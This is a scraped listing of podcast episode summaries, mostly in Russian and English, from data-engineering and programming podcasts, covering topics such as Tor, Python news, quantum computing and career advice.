This is a cross-over episode from our new show The Machine Learning Podcast, the show about going from idea to production with machine learning.

Summary

Data is one of the core ingredients for machine learning, but the format in which it is understandable to humans is not a useful representation for models. Embedding vectors are a way to structure data in a way that is native to how models interpret and manipulate information. In this episode Frank Liu shares how the Towhee library simplifies the work of translating your unstructured data assets (e.g. images, audio, video, etc.) into embeddings that you can use efficiently for machine learning, and how it fits into your workflow fo…

1 month, 3 weeks назад @ dataengineeringpodcast.com
Run Your Applications Worldwide Without Worrying About The Database With Planetscale
Run Your Applications Worldwide Without Worrying About The Database With Planetscale Run Your Applications Worldwide Without Worrying About The Database With Planetscale

Summary

One of the most critical aspects of software projects is managing its data. Managing the operational concerns for your database can be complex and expensive, especially if you need to scale to large volumes of data, high traffic, or geographically distributed usage. Planetscale is a serverless option for your MySQL workloads that lets you focus on your applications without having to worry about managing the database or fight with differences between development and production. In this episode Nick van Wiggeren explains how the Planetscale platform is implemented, their strategies for balancing maintenance and improvements of the underlying Vitess project with their business goals, a…

1 month, 3 weeks назад @ dataengineeringpodcast.com
Business Intelligence In The Palm Of Your Hand With Zing Data
Business Intelligence In The Palm Of Your Hand With Zing Data Business Intelligence In The Palm Of Your Hand With Zing Data

Summary

Business intelligence is the foremost application of data in organizations of all sizes. The typical conception of how it is accessed is through a web or desktop application running on a powerful laptop. Zing Data is building a mobile native platform for business intelligence. This opens the door for busy employees to access and analyze their company information away from their desk, but it has the more powerful effect of bringing first-class support to companies operating in mobile-first economies. In this episode Sabin Thomas shares his experiences building the platform and the interesting ways that it is being used.

Announcements Hello and welcome to the Data Engineering Podcast,…

2 months назад @ dataengineeringpodcast.com
Adopting Real-Time Data At Organizations Of Every Size
Adopting Real-Time Data At Organizations Of Every Size Adopting Real-Time Data At Organizations Of Every Size

Summary

The term "real-time data" brings with it a combination of excitement, uncertainty, and skepticism. The promise of insights that are always accurate and up to date is appealing to organizations, but the technical realities to make it possible have been complex and expensive. In this episode Arjun Narayan explains how the technical barriers to adopting real-time data in your analytics and applications have become surmountable by organizations of all sizes.

Announcements Hello and welcome to the Data Engineering Podcast, the show about modern data management

When you’re ready to build your next pipeline, or want to test out the projects you hear about on the show, you’ll need somewhere…

2 months назад @ dataengineeringpodcast.com
Supporting And Expanding The Arrow Ecosystem For Fast And Efficient Data Processing At Voltron Data
Supporting And Expanding The Arrow Ecosystem For Fast And Efficient Data Processing At Voltron Data Supporting And Expanding The Arrow Ecosystem For Fast And Efficient Data Processing At Voltron Data

Summary

The data ecosystem has been growing rapidly, with new communities joining and bringing their preferred programming languages to the mix. This has led to inefficiencies in how data is stored, accessed, and shared across process and system boundaries. The Arrow project is designed to eliminate wasted effort in translating between languages, and Voltron Data was created to help grow and support its technology and community. In this episode Wes McKinney shares the ways that Arrow and its related projects are improving the efficiency of data systems and driving their next stage of evolution.

Announcements Hello and welcome to the Data Engineering Podcast, the show about modern data manag…

2 months, 1 week назад @ dataengineeringpodcast.com
Data Brew by Databricks
последний пост 8 months назад
Season 4E6: Professional Athletes
Season 4E6: Professional Athletes

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Shayna Powless and Eli Ankou, professional cyclist for L39ion of Los Angeles and defensive tackle for the Buffalo Bills, respectively, provide valuable insight on how professional athletes leverage data to improve their performance and how they combine their passion for sports with the Dreamcatcher Foundation.See more at databricks.com/data-brew

8 months назад @ buzzsprout.com
Season 4E5: Public Health: Education, Access, and Policy
Season 4E5: Public Health: Education, Access, and Policy

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Matt Willis, Marin County Public Health Officer, shares the three pillars of public health: education, access, and policy, and the critical role data plays in addressing the COVID-19 pandemic & opioid epidemic. See more at databricks.com/data-brew

9 months назад @ buzzsprout.com
Season 4E4: 1283 Days of Running (and Counting)
Season 4E4: 1283 Days of Running (and Counting)

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Running the length of the US every year, Alexandra Matthiesen shares her motivational secrets for running 1,283 consecutive days (and counting!) and redefining physical and mental limits. See more at databricks.com/data-brew

9 months, 3 weeks назад @ buzzsprout.com
«Ничего такого» by Dodo Enginnering
последний пост None
Запуск завтра Podcast Запуск завтра Podcast
последний пост 1 month, 1 week назад
Квантовые компьютеры еще не появились, но уже меняют мир. Почему?
Квантовые компьютеры еще не появились, но уже меняют мир. Почему? Квантовые компьютеры еще не появились, но уже меняют мир. Почему?

Пройдите, пожалуйста, наш опрос: https://4zz1gujb3ju.typeform.com/to/VoSmy7DN Для многих важных задач современного мира — например, для поиска новых лекарств или построения оптимальных маршрутов, — мощностей даже самых продвинутых компьютеров не хватает. Ученые десятилетиями пытаются обойти ограничения, накладываемые классической физикой, и создать принципиально новый способ производить вычисления. Гость эпизода Алексей Федоров — один из таких ученых. Разбираемся, что такое суперпозиции, как физики запутывают атомы и к чему приведет появление квантовых компьютеров. Осторожно, этот разговор выходит за рамки человеческого воображения! Реклама. Курсы для опытных программистов от Яндекс Практик…

1 month, 1 week назад @ zapuskzavtra.libsyn.com
Miro. Онлайн-сервис для мозгового штурма
Miro. Онлайн-сервис для мозгового штурма Miro. Онлайн-сервис для мозгового штурма

Компания Miro была первой, кто придумал сделать обычную белую доску, которая стоит в каждом офисе, виртуальной. И миллионы пользователей по всему миру оценили эту идею, даже в NASA используют Miro. В этом эпизоде Иван Демшин (Head of System Engineering в Miro) рассказывает, как компания пережила три пивота, резко выросла в пандемию и стала #1 инструментом для удаленной работы. Реклама. Бесплатный 10-часовой курс по алгоритмическим собеседованиям от Яндекс Практикума: https://clck.ru/335Jje Интервью с Андреем Хусидом, CEO и основателем Miro: https://youtu.be/C1U4MD6DPI8 Подкаст «Люди Miro»: https://podcast.ru/1547571684 Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQy По…

1 month, 2 weeks назад @ zapuskzavtra.libsyn.com
Аноним в сети. Как устроен Tor
Аноним в сети. Как устроен Tor Аноним в сети. Как устроен Tor

Роскомнадзор — главный цензор российского интернета. В 2022 году сайты почти всех независимых медиа подверглись блокировкам, поэтому всё больше людей используют разные способы их обхода. Tor — один из таких способов. Но еще это важный проект, создающий настоящий подпольный интернет, где все пользователи остаются анонимными. В этом эпизоде разбираемся, за счет чего Tor такой безопасный и при чем тут лук, как ловить преступников в даркнете и как подключиться к сети из России* — разбираемся вместе с Иcабелой Фернандеc (Isabela Fernandes), executive director проекта. (*Да, официально браузер заблокирован на территории РФ и внесен в реестр запрещенной информации) Реклама. Курсы Яндекс Практикума…

1 month, 3 weeks назад @ zapuskzavtra.libsyn.com
Компьютерная графика. Как на экране создаются объекты, которых нет на самом деле
Компьютерная графика. Как на экране создаются объекты, которых нет на самом деле Компьютерная графика. Как на экране создаются объекты, которых нет на самом деле

Почти в каждом современном кино- или рекламном продукте используется компьютерная графика. Чтобы зритель поразился реалистичности взрыва или тому, как новый BMW собирается на ходу, десятки специалистов месяцами трудятся над каждым кадром. Гость этого эпизода Данил Криворучко делает моушен-дизайн для самых громких проектов индустрии. Данил рассказал, как создаются визуальные эффекты и как на этом можно построить карьеру. Реклама. Бесплатный курс по основам Go от Яндекс Практикума https://clck.ru/32sq8t Упомянутые ролики: Pixar, 1986 https://www.youtube.com/watch?v=6G3O60o5U7w Терминатор 2, сцена с жидким металлом, 1991 https://www.youtube.com/watch?v=u8h8d2XLWKY Видеоигра Quake, 1999 https:/…

1 month, 4 weeks назад @ zapuskzavtra.libsyn.com
От определения цены на молоко до распознавания лиц. Как дата-сайентисты меняют повседневную жизнь
От определения цены на молоко до распознавания лиц. Как дата-сайентисты меняют повседневную жизнь От определения цены на молоко до распознавания лиц. Как дата-сайентисты меняют повседневную жизнь

В этом эпизоде мы снова говорим о данных и о том, что с ними можно сделать. Раньше машина не всегда могла отличить коня от человека, а теперь мы доверяем ей в определении оптимальной цены в магазинах, поимке кибер-преступников и даже этических вопросах. Как индустрия прошла этот путь — разбираемся с Валерием Бабушкиным, экспертом по Data Science в компании BlockChain. Реклама. Курсы от Яндекс Практикума по программированию с нуля: https://clck.ru/32nsqX Ссылки: Телеграм-канал Валеры: https://t.me/cryptovalerii Сайт Алексея Чернобровова: https://chernobrovov.ru/ Лекции от сообщества Open Data Science: https://www.youtube.com/@OpenDataScienceCon Подписаться на «Запуск++» в Телеграме: https://…

2 months назад @ zapuskzavtra.libsyn.com
Как нейросети находят опухоли и помогают патологоанатомам
Как нейросети находят опухоли и помогают патологоанатомам Как нейросети находят опухоли и помогают патологоанатомам

Раньше врачи искали отклонения в клетках и тканях человека с помощью микроскопа. Сейчас в медицину проникают высокие технологии — компьютерное зрение и искусственный интеллект. В этом эпизоде врач-патологоанатом Артем Борбат рассказывает, как сканеры в лабораториях помогают получить диагноз в разы быстрее, а модели из миллиона клеток находят несколько больных. Реклама. Пройдите бесплатную часть курса до 30 ноября и получите 20% скидку на дальнейшее обучение от Яндекс Практикума. Промокод работает при определенных формах оплаты. Подробности по ссылке: https://clck.ru/32gxUZ Курсы MIT по медицинской инженерии: https://ocw.mit.edu/courses/6-s897-machine-learning-for-healthcare-spring-2019/ htt…

2 months, 1 week назад @ zapuskzavtra.libsyn.com
Больше 15 лет в Яндексе, а потом — в ставки на спорт. Как Григорий Бакунов перешел в украинское IT
Больше 15 лет в Яндексе, а потом — в ставки на спорт. Как Григорий Бакунов перешел в украинское IT Больше 15 лет в Яндексе, а потом — в ставки на спорт. Как Григорий Бакунов перешел в украинское IT

Бакунов был одним из самых публичных айтишников в России, а потом променял успешную корпоративную карьеру на стартапы в Киеве. В этом эпизоде Гриша (или Bobuk, как знают его многие технари) рассказывает, каким стал Яндекс после Ильи Сегаловича, почему он выбрал гэмблинг как следующую работу и как меняется украинская IT-тусовка. Подкаст Радио-Т: https://radio-t.com Telegram-канал Гриши: https://t.me/addmeto Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQy Подписаться на Либо/Либо+ в Телеграме, куда включены эпизоды «Запуск++»: https://t.me/+LXZx5JRqO4o0MjJi Чат Запуска в телеграме: https://t.me/zapuskzavtra Связаться: [email protected] Редакторка — Маша Агличева; Пр…

2 months, 2 weeks назад @ zapuskzavtra.libsyn.com
Без одной голландской компании у вас бы не было iPhone. Как устроено производство самых современных чипов
Без одной голландской компании у вас бы не было iPhone. Как устроено производство самых современных чипов Без одной голландской компании у вас бы не было iPhone. Как устроено производство самых современных чипов

Когда-то компьютеры занимали целую комнату и весили тонны, а теперь в маленьком чипе вашего смартфона умещается та же вычислительная мощность. Происходит это благодаря одному предприятию, которое делает уникальное литографическое оборудование — компании ASML. Из этого эпизода вы узнаете, как современный процессор с миллиардом транзисторов связан с парящими платформами, таблицей Менделеева и Властелином колец, а расскажет об этом Диана Гришина, работавшая в ASML. Реклама. Ссылка на курсы для опытных разработчиков от Яндекс Практикума: https://clck.ru/32bXgv Ссылки: Сайт ASML: https://www.asml.com/en Инженеры на заводе ASML и «чистая комната»: https://www.youtube.com/watch?v=ttbaaI5xUcg Подпи…

2 months, 3 weeks назад @ zapuskzavtra.libsyn.com
Математические модели, роботы-сортировщики и собственный софт. Как IT изменило Почту России
Математические модели, роботы-сортировщики и собственный софт. Как IT изменило Почту России Математические модели, роботы-сортировщики и собственный софт. Как IT изменило Почту России

Очереди в отделениях, потерянные посылки, бесконечное заполнение бумажек — многие помнят взаимодействие с почтой таким. Теперь забрать или отправить посылку можно за несколько минут, появилось приложение с удобным интерфейсом, а программисты рассчитывают оптимальную скорость движения конвертов на сортирочных конвейерах (да). Про то, как компания, которая ассоциировалась с мемом про покемона «слоупока», встала на рельсы цифровизации и какие безумные технические задачи решает, рассказывает Николай Кныш, технический директор Почтатеха, цифрового отделения Почты России. Реклама. Ссылка на буткемпы Яндекс Практикума — интенсивные курсы, на которых можно быстро освоить профессию: https://clck.ru/…

3 months назад @ zapuskzavtra.libsyn.com
От ЗАГСов до всех телефонов на Android. Как Linux стал использоваться везде
От ЗАГСов до всех телефонов на Android. Как Linux стал использоваться везде От ЗАГСов до всех телефонов на Android. Как Linux стал использоваться везде

В 1991 году Линус Торвальдс учился в университете и захотел исправить недочеты в учебной операционке. Так появилось ядро Linux. Спустя 30 лет Linux насчитывает миллиарды пользователей, и почти все устройства, которые нас окружают, используют разработку Торвальдса под капотом. Разбираемся, как Linux прошел этот путь вместе с Георгием Курячим, разработчиком российского дистрибутива Linux. Реклама. Бесплатный курс по подготовке к алгоритмическому собеседованию от Яндекс Практикума: https://clck.ru/32S23E Сcылки YouTube-канал записей лекций Георгия: https://www.youtube.com/channel/UC6m3WI2mgZLj3LgNYWQNH6g Сайт UNИX: https://uneex.org/MainPage/ Сайт сообщества ALT Linux Team: https://www.altlinu…

3 months, 1 week назад @ zapuskzavtra.libsyn.com
«Хочу передать свободу и наивность». Как на нас влияют шрифты
«Хочу передать свободу и наивность». Как на нас влияют шрифты «Хочу передать свободу и наивность». Как на нас влияют шрифты

Шрифтов сотни тысяч, а по-настоящему популярны из них, может быть, десяток. При этом продолжают появляться всё новые антиквы и гротески, дизайнеры тратят годы на доведение начертаний до идеала, а крупные компании инвестируют миллионы долларов в собственные шрифты. В этом эпизоде Илья Рудерман, шрифтовой дизайнер и сооснователь Type.Today и CSTM Fonts рассказывает, зачем нужно это многообразие, какой шрифт считать хорошим и почему шрифтовики — тоже немного программисты. Реклама. Курсы по программированию с нуля от Яндекс Практикума: https://clck.ru/32PJj9 Ссылки из эпизода: Сайт Type.today https://type.today/ru Шрифт lurk для Юрия Дудя https://type.today/ru/collection/lurk DrawBot https://ww…

3 months, 2 weeks назад @ zapuskzavtra.libsyn.com
Как стать продакт-менеджером в IT
Как стать продакт-менеджером в IT Как стать продакт-менеджером в IT

В этом эпизоде продакт-менеджер Аня Булдакова рассказывает, как устроена ее работа. Выясняем, каких кандидатов ищут в FAANG, как отличалась позиция продакта в Facebook и Яндекс и сколько зарабатывают эти специалисты. Реклама. Дока — дружелюбный опенсорсный справочник по веб-разработке: https://doka.guide/?utm_source=pr&utm_medium=podcast&utm_campaign=pr_podcast_zapusk-zavtra&utm_content=13oktober Рекомендации от Ани: Список полезных книг: https://nfng.pro/books/ Исследования Gartner по product management: https://www.gartner.com/en/product-management/research/all-research Книга «Inspired: How to create tech products customers love», автор Marty Cagan Книга «Web Scalability for Startup Engin…

3 months, 3 weeks назад @ zapuskzavtra.libsyn.com
Stack Overflow. Ответ на любой вопрос по программированию
Stack Overflow. Ответ на любой вопрос по программированию Stack Overflow. Ответ на любой вопрос по программированию

Если вы программист, то скорее всего пользовались Stack Overflow для работы. Энтузиасты сайта уже ответили на миллионы прикладных вопросов, чтобы программисты не мучались с поиском решения по всему интернету. А ещё активным пользователям с прокачанными профилями постоянно пишут рекрутеры и предлагают работу. В этом эпизоде сотрудник компании Николай Чабановский рассказал Самату, как задавать хорошие вопросы и подняться в рейтинге на сайте, чтобы получить себе классную строчку в резюме. Реклама. Бесплатный курс по основам Go от Яндекс Практикума. Для тех, кто уже знаком с основами бэкенд-разработки: https://clck.ru/32CvGj Ссылки: Основной сайт Stack Overflow: https://stackoverflow.com/ Сайт …

4 months назад @ zapuskzavtra.libsyn.com
Kotlin. Как разработка из Питера покорила Google
Kotlin. Как разработка из Питера покорила Google Kotlin. Как разработка из Питера покорила Google

В 2010 году энтузиасты из компании JetBrains решили сделать собственный язык программирования. Тысячи человек следили за его созданием и ждали релиза, а через 7 лет Google объявил Kotlin официальным языком для платформы Android. О том, как ребята прошли этот путь, в этом эпизоде рассказывает сам Андрей Бреслав — ex-руководитель Kotlin. Реклама. Попробовать бесплатную часть курсов по мобильной iOS и Android-разработке от Яндекс Практикума: https://clck.ru/32A8ef Подкаст «CTRL SHIFT!» от студии Либо/Либо: https://podcast.ru/1635964055 Ссылки из эпизода: Сайт языка: https://kotlinlang.org «Книга дракона»: Compilers: Principles, Techniques, and Tools. Alfred V. Aho, Monica S. Lam, Ravi Sethi, a…

4 months, 1 week назад @ zapuskzavtra.libsyn.com
Как не сесть за блокчейн? Разбираемся в киберправе
Как не сесть за блокчейн? Разбираемся в киберправе Как не сесть за блокчейн? Разбираемся в киберправе

«Запуск завтра» возвращается с восьмым сезоном! В первом эпизоде Самат разбирается в цифровом праве вместе с киберадвокатом Саркисом Дарбиняном. За что судят Tornado Cash? Нужно ли платить налоги на криптовалюту? Законно ли пользоваться VPN и Tor? Что делать, если у меня украли аккаунт в инстаграме? Задаем волнующие вопросы человеку, защищающему права пользователей в интернете. Реклама. Бесплатный курс по профориентации в программировании от Яндекс Практикума: https://clck.ru/323qTh Ссылки из эпизода: Мониторинг преследования граждан за онлайн-публикации: https://blackscreen.report Сайт Роскомсвободы: https://roskomsvoboda.org Сайт Digital Rights Center: https://drc.law Киберправовая школа:…

4 months, 2 weeks назад @ zapuskzavtra.libsyn.com
Moscow Python Podcast Moscow Python Podcast
последний пост 1 day, 11 hours назад
Выход SQLAlchemy 2.0 / сборка Python без GIL / топ Python библиотек 2022 и другие новости Python
Выход SQLAlchemy 2.0 / сборка Python без GIL / топ Python библиотек 2022 и другие новости Python Выход SQLAlchemy 2.0 / сборка Python без GIL / топ Python библиотек 2022 и другие новости Python

Новый выпуск посвятили актуальным новостям за январь 2023 года в мире Python. Ниже оставили ссылки на все материалы этого подкаста. фреймворк Robin - https://github.com/sansyrox/robyn PEP 703 по Python без GIL - https://peps.python.org/pep-0703/ релиз SQLAlchemy 2.0 - https://www.sqlalchemy.org/

PEP 701 по доработке f-строк - https://peps.python.org/pep-0701/ PEP 704 по обязательному виртуальному окружению - https://peps.python.org/pep-0704/ Malware в nightly-билдах - https://pytorch.org/blog/compromised-... Python 2.7 убрали из Debidian - https://bugs.debian.org/cgi-bin/bugre... топ Python библиотек 2022 - https://tryolabs.com/blog/2022/12/26/... Ведущие: Михаил Корнеев и Илья Лебедев Все …

1 day, 11 hours назад @ learnpython.podbean.com
Внутри ИИ: люди, разработка и будущее
Внутри ИИ: люди, разработка и будущее Внутри ИИ: люди, разработка и будущее

В гостях у Moscow Python Podcast Иван Самсонов, продакт-менеджер в прикладных исследованиях ИИ во ВКонтакте. Обсудили в выпуске:

- отличается ли звездный разработчик от синьора

- хватит ли понимания бизнеса и умения коммуницировать, чтобы стать A-star

- когда нас заменит искусственный интеллект, и мы отдохнем

- куда приведет развитие языковых моделей

- что делать мидл python-разработчику с фиговым английским, чтобы его не заменили технологии

- ответы на вопросы из трансляции: что делать джуну с 3-летним опытом и фиговым английским, какой язык программирования умрет следующим Ведущие: Михаил Корнеев и Григорий Петров Все выпуски: https://podcast.python.ru

Митапы MoscowPython: https://moscowp…

5 days, 14 hours назад @ learnpython.podbean.com
Куда расти разработчику: взгляд из-за рубежа
Куда расти разработчику: взгляд из-за рубежа Куда расти разработчику: взгляд из-за рубежа

В гостях у Moscow Python Podcast Георгий Могелашвили, Engineering Manager в Shopify и основатель GetMentor.dev. Обсудили в выпуске:

- разницу менталитетов в работе - как давать обратную связь - культуру разработки и роль Engineering Manager в Shopify - куда расти разработчику сегодня - разницу зарплат у менеджеров и контрибьютеров - как менеджеру растить разработчиков - как определить грейд и перейти на другой - отличия систем грейдов в компаниях - про GetMentor и зачем нужен ментор - конференции для профессионального роста

- ответы на вопросы из трансляции: возможно ли самостоятельно вырасти до сеньора, нужно ли менеджерам писать код, с чего начать поиски работы в зарубежной компании и про…

2 weeks, 2 days назад @ learnpython.podbean.com
Подводим итоги 2022 в мире Python
Подводим итоги 2022 в мире Python Подводим итоги 2022 в мире Python

Привет, вот о чем поговорили Михаил Корнеев и Григорий Петров в последнем в этом году выпуске подкаста. - Новые форматы прямых эфиров и новостных выпусков в подкасте

- Планы на ускорение Python и эксперимент с выпиливанием gil - black вышел из беты

- Три штуки, которые надо добавить в Python

- 10 лет выступлениям Гриши о Python

- Что будет, если добавлять в язык новые инструменты, чтобы было красиво (и стоит ли их использовать?)

- Ушла эпоха, из MacOS выпилили Python 2.7

- Что так и не так с JetBrains Developers Survey

- Релиз Python 3.11 - Copilot и как мы справлялись без него 20 лет назад

- Ответили на вопросы из трансляции: про фреймворк Masonite и какие фреймворки взлетят в 2023, про пе…

1 month, 1 week назад @ learnpython.podbean.com
Как разобраться в старом коде на новой работе (или проекте)
Как разобраться в старом коде на новой работе (или проекте) Как разобраться в старом коде на новой работе (или проекте)

Григорий Петров, Михаил Корнеев и Илья Лебедев в новом формате Moscow Python Podcast. 00:00 — у нас новый постоянный ведущий

01:35 — есть ли вообще люди, которые легко и быстро сориентируются в чужом древнем коде

02:55 — что усложняет понимание чужого кода на новой работе

03:57 — с чего начать

06:20 — "третий кит, на котором стоит разработка - инфра", или какие неприятные открытия вас ждут

09:10 — что делать, если ты не джун

13:04 — "первые полгода вы будете беситься" (или нет?)

17:05 — два вопроса, которые стоит задать на собеседовании и обговорить сразу

22:25 — что делать, если сразу хочешь менять процессы разработки

23:58 — пошаговая инструкция по работе с неизвестным проектом

27:55 — хо…

1 month, 2 weeks назад @ learnpython.podbean.com
Грабли на пути джуна (level: all)
Грабли на пути джуна (level: all) Грабли на пути джуна (level: all)

В гостях у Moscow Python Podcast Python разработчик Юрий Бородич.. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

3 months назад @ learnpython.podbean.com
Как жить в современном потоке информации (level: all)
Как жить в современном потоке информации (level: all) Как жить в современном потоке информации (level: all)

В гостях у Moscow Python Podcast HRD компании Altenar Екатерина Фирсова. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

3 months, 3 weeks назад @ learnpython.podbean.com
Open Source и Data Science (level: all)
Open Source и Data  Science (level: all) Open Source и Data Science (level: all)

В гостях у Moscow Python Podcast руководитель разработки Data Science компании Avito Олег Бугримов. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

4 months, 1 week назад @ learnpython.podbean.com
Выгорание и токсичность (level: all)
Выгорание и токсичность (level: all) Выгорание и токсичность (level: all)

В гостях у Moscow Python Podcast VP of Engineering Константин Волков. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

4 months, 3 weeks назад @ learnpython.podbean.com
Про тимлидство (level: all)
Про тимлидство (level: all) Про тимлидство (level: all)

В гостях у Moscow Python Podcast Руководитель разработки компании IVA Technologies Александр Ковалев. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

5 months, 2 weeks назад @ learnpython.podbean.com
Про Хакатоны (level: all)
Про Хакатоны (level: all) Про Хакатоны (level: all)

В гостях у Moscow Python Podcast Lead of HR Community Skolkovo Алиса Цапкова. Обсудили с Алисой зачем нужны хакатоны, советы и лайфхаки участникам хакатонов. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Skolkovo Hack 2022: https://codenrock.com/contests/skolkovo-hack-2022 Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за руб…

5 months, 3 weeks назад @ learnpython.podbean.com
Из разработки в DevOps (level: all)
Из разработки в DevOps (level: all) Из разработки в DevOps (level: all)

В гостях у Moscow Python Podcast Python Senior DevOps компании CLS Global Игорь Перепелицын. Обсудили с Игорем его путь в разработке, GitOps и как деплоиться без Kubernetes. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: http…

6 months, 1 week назад @ learnpython.podbean.com
CI/CD и культура DevOps (level: all)
CI/CD и культура DevOps (level: all) CI/CD и культура DevOps (level: all)

В гостях у Moscow Python Podcast Python Team Lead компании Райффайзенбанк Денис Аникин. Обсудили с Денисом какие способы деплоя Python приложения в прод сейчас есть. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geek…

6 months, 2 weeks назад @ learnpython.podbean.com
Redis, сова и глобус (level: all)
Redis, сова и глобус (level: all) Redis, сова и глобус (level: all)

В гостях у Moscow Python Podcast Python CTO проекта Speechki Павел Мальцев. Поговорили с Павлом о том, как и когда использовать Redis, какие там есть структуры данных и когда они будут полезны. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж…

6 months, 4 weeks назад @ learnpython.podbean.com
L и DataOps (level: all)
L и DataOps (level: all) L и DataOps (level: all)

В гостях у Moscow Python Podcast Python ML и DataOps lead компании Gett Семён Осипов. Поговорили с Семёном о его пути в разработке и что такое ML и DataOps и зачем он нужен. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: http…

7 months, 1 week назад @ learnpython.podbean.com
Podlodka Podcast Podlodka Podcast
последний пост 6 days назад
Podlodka #305 – Цвета и цветовые пространства
Podlodka #305 – Цвета и цветовые пространства Podlodka #305 – Цвета и цветовые пространства

Специально для тех, кто считает несправедливыми шутки про “покраску кнопок”, мы с головой ушли в увлекательный и непростой мир представления цвета в компьютерных системах. Так вот, цвета – это очень сложно! Вместе с Андреем Ситником разбираемся почему. ​​Курс “Профессия Data Scientist” и бесплатные три модуля введения в ДС от Skillbox — https://clck.ru/33Q83s. Скидка 60% по промокоду: PODLODKA Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/Podl…

6 days назад @ soundcloud.com
Podlodka #304 – .NET, часть 2
Podlodka #304 – .NET, часть 2 Podlodka #304 – .NET, часть 2

